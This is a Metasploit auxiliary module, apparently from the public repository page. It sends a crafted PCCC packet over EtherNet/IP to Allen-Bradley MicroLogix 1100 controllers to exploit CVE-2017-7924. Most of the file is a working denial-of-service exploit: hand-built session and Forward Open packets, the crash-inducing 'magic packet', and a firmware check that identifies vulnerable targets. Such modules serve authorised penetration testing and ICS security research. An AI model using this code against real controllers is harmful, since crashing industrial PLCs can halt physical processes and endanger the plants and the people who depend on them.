Path: blob/master/modules/auxiliary/dos/scada/allen_bradley_pccc.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Udp7include Msf::Exploit::Remote::Tcp8include Msf::Auxiliary::Dos910def initialize(_info = {})11super(12'Name' => "DoS Exploitation of Allen-Bradley's Legacy Protocol (PCCC)",13'Description' => %q{14A remote, unauthenticated attacker could send a single, specially crafted15Programmable Controller Communication Commands (PCCC) packet to the controller16that could potentially cause the controller to enter a DoS condition.17MicroLogix 1100 controllers are affected: 1763-L16BWA, 1763-L16AWA, 1763-L16BBB, and181763-L16DWD.19CVE-2017-7924 has been assigned to this vulnerability.20A CVSS v3 base score of 7.5 has been assigned.21},22'Author' => [23'José Diogo Monteiro <jdlopes[at]student.dei.uc.pt>',24'Luis Rosa <lmrosa[at]dei.uc.pt>',25'Miguel Borges de Freitas <miguelbf[at]dei.uc.pt>'26],27'License' => MSF_LICENSE,28'References' => [29[ 'CVE', '2017-7924' ],30[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-17-138-03' ],31[ 'URL', 'https://web.archive.org/web/20250116210051/https://dl.acm.org/doi/10.1145/3174776.3174780']32],33'Notes' => {34'Stability' => [CRASH_SERVICE_DOWN],35'SideEffects' => [],36'Reliability' => []37}38)39register_options([Opt::RPORT(44818),])40end4142VULN_LIST = ['1763-L16BWA', '1763-L16AWA', '1763-L16BBB', '1763-L16DWD']43VULN_FW_VERSION_MIN = 14.0044VULN_FW_VERSION_MAX = 16.004546def le_pp(str)47"0x#{Rex::Text.to_hex(str, '').scan(/../).reverse.join('')}"48end4950def enip_register_session_pkt51# ENIP encapsulation Header52"\x65\x00" + # Command register session (0x0065)53"\x04\x00" + # Length (4)54"\x00\x00\x00\x00" + # Session handle (0x00000000)55"\x00\x00\x00\x00" + # Status success (0x00000000)56"\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000)57"\x00\x00\x00\x00" + # Options (0x00000000)58# Protocol Specific Data59"\x01\x00" + # Protocol version (1)60"\x00\x00" # Option flags (0x00000000)61end6263def enip_ccm_forward_open_pkt(enip_session_handle)64# ENIP encapsulation header65"\x6f\x00" + # Send RR data (0x006f)66"\x3e\x00" + # Length (63)67enip_session_handle + # Session handle (retrieved from register session)68"\x00\x00\x00\x00" + # Status success (0x00000000)69"\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000)70"\x00\x00\x00\x00" + # Options (0x00000000)71# Command specific data72"\x00\x00\x00\x00" + # Interface handle (CIP = 0x00000000)73"\x00\x00" + # Timeout (0)74"\x02\x00" + # Item count (2)75"\x00\x00" + # Item 1 type id (Null address item)76"\x00\x00" + # Item 1 length (0)77"\xb2\x00" + # Item 2 type id (Unconnected data item)78"\x2e\x00" + # Item 2 length (46)79# CIP Connection manager specific data80"\x54\x02\x20\x06\x24\x01\x0a\xf0" \81"\x00\x00\x00\x00\x52\xac\xda\x89" \82"\x55\x0c\x35\x01\xe1\x08\xb0\x60" \83"\x07\x00\x00\x00\x00\x40\x00\x00" \84"\x12\x43\x00\x40\x00\x00\x12\x43" \85"\xa3\x02\x20\x02\x24\x01"86end8788# Any combination of File Number 0x02–0x08 and File Type 0x48 or 0x47 will trigger a Major Error (0x08)89def pccc_dos_pkt(enip_session_id, cip_connection_id)90# ENIP encapsulation header91"\x70\x00" + # Send unit data (0x0070)92"\x2d\x00" + # Length93enip_session_id + # ENIP session handle (obtained from enip register session)94"\x00\x00\x00\x00" + # Status Success95"\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context96"\x00\x00\x00\x00" + # Options97# Command Specific data98"\x00\x00\x00\x00" + # Interface handle (CIP)99"\x00\x00" + # Timeout (0)100"\x02\x00" + # Item count101"\xa1\x00" + # Item 1 - Type ID (Connected address item)102"\x04\x00" + # Item 1 - Length (4)103cip_connection_id + # CIP connection ID (obtained from CIP CM packet)104"\xb1\x00" + # Item 2 - Type ID (Connected data item)105"\x19\x00" + # Item 2 - Length (25)106"\x01\x00" + # Item 2 - CIP Sequence Count (1) - first packet107# PCCC Command data108"\x4b" + # Execute PCCC (0x4b)109"\x02\x20\x67\x24\x01" + # no idea what this is110"\x07" + # Requestor ID length111"\x35\x01" + # CIP vendor ID112"\xe1\x08\xb0\x60" + # CIP serial number113"\x0f" + # Command code114"\x00" + # Status (success 0x00)115"\x2a\x58" + # Transaction code116"\xa2" + # Function code (Protected typed logical read with three address fields)117"\x00" + # Byte size118"\x05" + # File number119"\x47" + # File type120"\x00" + # Element number121"\x00" # Sub-element number122end123124def enip_list_identify_pkt125"\x63\x00" + # List Identity126"\x00\x00" + # Length127"\x00\x00\x00\x00" + # Session Handle128"\x00\x00\x00\x00" + # Status: Success129"\x00\x00" + # Max Response Delay130"\x00\x00\xc1\xde\xbe\xd1" + # Sender Context131"\x00\x00\x00\x00" # Options132end133134def check135connect_udp136137udp_sock.put(enip_list_identify_pkt)138res = udp_sock.recvfrom(90)139140disconnect_udp141142unless res && res[0].length > 63 && res[0][0, 2] == "\x63\x00"143print_error 'EtherNet/IP Packet Not Valid'144return Exploit::CheckCode::Unsupported145end146147res[0][54, 2]148product_name_len = res[0][62].unpack('c*')[0]149150product_name = res[0][63, product_name_len]151print_status "Product Name: #{product_name}"152153array = product_name.split(' ')154plc_model = array[0]155156return Exploit::CheckCode::Safe unless VULN_LIST.any? { |e| plc_model.include? e }157158firmware = array[1]159begin160firmware_nbr = firmware.scan(/(\d+[.,]\d+)/).flatten.first.to_f161if firmware_nbr >= VULN_FW_VERSION_MIN && firmware_nbr < VULN_FW_VERSION_MAX162return Exploit::CheckCode::Vulnerable163elsif firmware_nbr < VULN_FW_VERSION_MIN164return Exploit::CheckCode::Appears165else166return Exploit::CheckCode::Safe167end168rescue StandardError169return Exploit::CheckCode::Unknown170end171rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e172elog(e)173ensure174disconnect175end176177def run178connect179180# Register Ethernet/IP session181sock.put(enip_register_session_pkt)182enip_register_session_ans = sock.get_once183unless enip_register_session_ans && enip_register_session_ans.length == 28 && enip_register_session_ans[0, 2] == "\x65\x00"184print_error 'Ethernet/IP - Failed to create session.'185disconnect186return187end188enip_session_id = enip_register_session_ans[4, 4]189print_status "Ethernet/IP - Session created (id #{le_pp(enip_session_id)})"190191# Ethernet/IP CCM Forward Open192sock.put(enip_ccm_forward_open_pkt(enip_session_id))193enip_ccm_forward_open_ans = sock.get_once194unless enip_ccm_forward_open_ans && enip_ccm_forward_open_ans.length > 48 && enip_ccm_forward_open_ans[0, 2] == "\x6f\x00"195print_error 'CIP Connection Manager - Failed Forward Open request'196disconnect197return198end199cip_connection_id = enip_ccm_forward_open_ans[44, 4]200print_status "CIP Connection Manager - Forward Open Success (Connection id #{le_pp(cip_connection_id)})"201202# PCCC DoS packet203print_status 'Sending PCCC DoS magic packet...'204sock.put(pccc_dos_pkt(enip_session_id, cip_connection_id))205rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e206elog(e)207ensure208disconnect209end210end211212213